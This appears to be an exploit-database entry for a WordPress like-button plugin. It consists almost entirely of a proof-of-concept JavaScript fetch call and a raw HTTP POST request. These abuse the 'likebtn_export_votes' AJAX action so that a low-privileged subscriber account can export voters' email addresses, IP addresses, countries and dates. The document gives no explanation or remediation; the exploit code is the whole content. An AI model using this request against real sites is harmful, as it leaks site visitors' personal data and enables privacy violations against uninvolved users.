Share
## https://sploitus.com/exploit?id=WPEX-ID:D7618061-A7FA-4DA4-9384-BE19BC5E8548
fetch("http://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "body": new URLSearchParams({"action":"likebtn_export_votes","separator":";","encoding":"utf-8","fields[0]":"user_email","fields[1]":"ip","fields[2]":"country","fields[3]":"date","fields[4]":"item_id"}),
  "method": "POST",
  "credentials": "include"
})
  .then(response => response.text())
  .then(data => console.log(data));

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 161
Connection: close
Cookie: [subscriber+]

action=likebtn_export_votes&separator=%3B&encoding=utf-8&fields%5B0%5D=user_email&fields%5B1%5D=ip&fields%5B2%5D=country&fields%5B3%5D=date&fields%5B4%5D=item_id